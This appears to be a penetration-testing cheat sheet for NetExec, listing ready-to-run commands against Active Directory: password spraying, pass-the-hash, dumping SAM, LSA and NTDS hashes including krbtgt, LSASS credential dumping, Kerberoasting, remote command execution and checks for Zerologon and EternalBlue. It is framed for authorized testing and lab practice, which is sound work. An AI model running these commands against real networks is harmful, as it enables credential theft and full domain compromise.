Sweep SMB/WinRM/LDAP/MSSQL — creds, shares, dumps & modules
NetExec (nxc) is the maintained successor to CrackMapExec (crackmapexec/cme) — a swiss-army knife for assessing Active Directory networks over SMB, WinRM, LDAP, MSSQL, RDP, SSH, FTP, and WMI. Commands are interchangeable; swap nxc for cme. For authorized testing only.
nxc <protocol> <target> -u <user> -p <pass> [options]
# protocols: smb winrm ldap mssql rdp ssh ftp wmi vnc
Targets accept an IP, CIDR, range, hostname, or file:
nxc smb 10.10.10.10
nxc smb 10.10.10.0/24
nxc smb targets.txt
| Option | Meaning |
|---|---|
-u user -p pass |
Username / password |
-u users.txt -p pass.txt |
Spray every combo (files) |
-u user -H <NThash> |
Pass-the-Hash (LM:NT or just NT) |
-d DOMAIN |
Domain (omit for local: --local-auth) |
--local-auth |
Authenticate against the local SAM, not the domain |
-k / --use-kcache |
Kerberos auth (uses KRB5CCNAME) |
--no-bruteforce |
Pair user[1]↔pass[1] line-by-line instead of full matrix |
--continue-on-success |
Don't stop at first valid login (spray all) |
# Pass-the-Hash
nxc smb 10.10.10.10 -u administrator -H ad9c84d8e9a... --local-auth
# Password spray a list, keep going after a hit
nxc smb 10.10.10.0/24 -u users.txt -p 'Spring2024!' --continue-on-success
nxc smb 10.10.10.0/24 # null session: OS, domain, signing, SMBv1
nxc smb 10.10.10.10 -u user -p pass --shares # list shares + read/write perms
nxc smb 10.10.10.10 -u user -p pass --users # domain users
nxc smb 10.10.10.10 -u user -p pass --groups
nxc smb 10.10.10.10 -u user -p pass --pass-pol # password policy
nxc smb 10.10.10.10 -u user -p pass --rid-brute # RID cycling
nxc smb 10.10.10.10 -u user -p pass --sessions --loggedon-users
nxc smb 10.10.10.10 -u '' -p '' # null auth
nxc smb 10.10.10.10 -u 'guest' -p '' # guest auth
Signing False + admin elsewhere = relay target. nxc smb 10.10.10.0/24 --gen-relay-list relay.txt writes hosts with signing disabled.
The (Pwn3d!) tag means the account is local admin on that host.
# Check where an account is admin across the subnet
nxc smb 10.10.10.0/24 -u administrator -H <hash> --local-auth
# Dump SAM / LSA / NTDS (needs admin)
nxc smb 10.10.10.10 -u administrator -p pass --sam
nxc smb 10.10.10.10 -u administrator -p pass --lsa
nxc smb dc.domain.local -u administrator -p pass --ntds # DCSync NTDS.dit
nxc smb dc.domain.local -u administrator -p pass --ntds --user krbtgt
nxc smb 10.10.10.10 -u admin -p pass -x 'whoami /all' # cmd via wmiexec/atexec/smbexec
nxc smb 10.10.10.10 -u admin -p pass -X '$PSVersionTable' # PowerShell
nxc smb 10.10.10.10 -u admin -p pass --exec-method smbexec -x 'hostname'
# WinRM (5985/5986) — often the cleanest exec path
nxc winrm 10.10.10.10 -u admin -p pass -x 'whoami'
nxc smb -L # list all SMB modules
nxc smb 10.10.10.10 -u user -p pass -M spider_plus # crawl shares for files
nxc smb 10.10.10.10 -u user -p pass -M gpp_password # decrypt GPP cpassword
nxc smb 10.10.10.10 -u user -p pass -M lsassy # remote LSASS dump → creds
nxc smb 10.10.10.10 -u user -p pass -M zerologon # CVE-2020-1472 check
nxc smb 10.10.10.10 -u user -p pass -M petitpotam # MS-EFSR coercion check
nxc smb 10.10.10.10 -u user -p pass -M ms17-010 # EternalBlue check
nxc smb -M <module> --options # show a module's options
nxc ldap dc.domain.local -u user -p pass --asreproast asrep.txt # AS-REP roast
nxc ldap dc.domain.local -u user -p pass --kerberoasting kerb.txt # Kerberoast
nxc ldap dc.domain.local -u user -p pass --trusted-for-delegation
nxc ldap dc.domain.local -u user -p pass --bloodhound -c All \
--dns-server 10.10.10.10 # collect for BloodHound
nxc ldap dc.domain.local -u user -p pass -M get-desc-users # passwords in descriptions
nxc smb 10.10.10.10 -u admin -p pass # valid creds auto-saved
nxcdb # interactive creds/hosts DB (was cmedb)
# inside nxcdb: creds hosts export creds detailed
# Loot lands in:
~/.nxc/logs/ # dumped hashes, spider output, lsassy creds
[+] is a successful login; (Pwn3d!) = admin on that box.--pass-pol first); add --continue-on-success.--local-auth strips the domain and hits the local SAM — essential for reused local admin hashes.Authorized testing only. Practice on the AYSEC pro-labs. See also Impacket and BloodHound.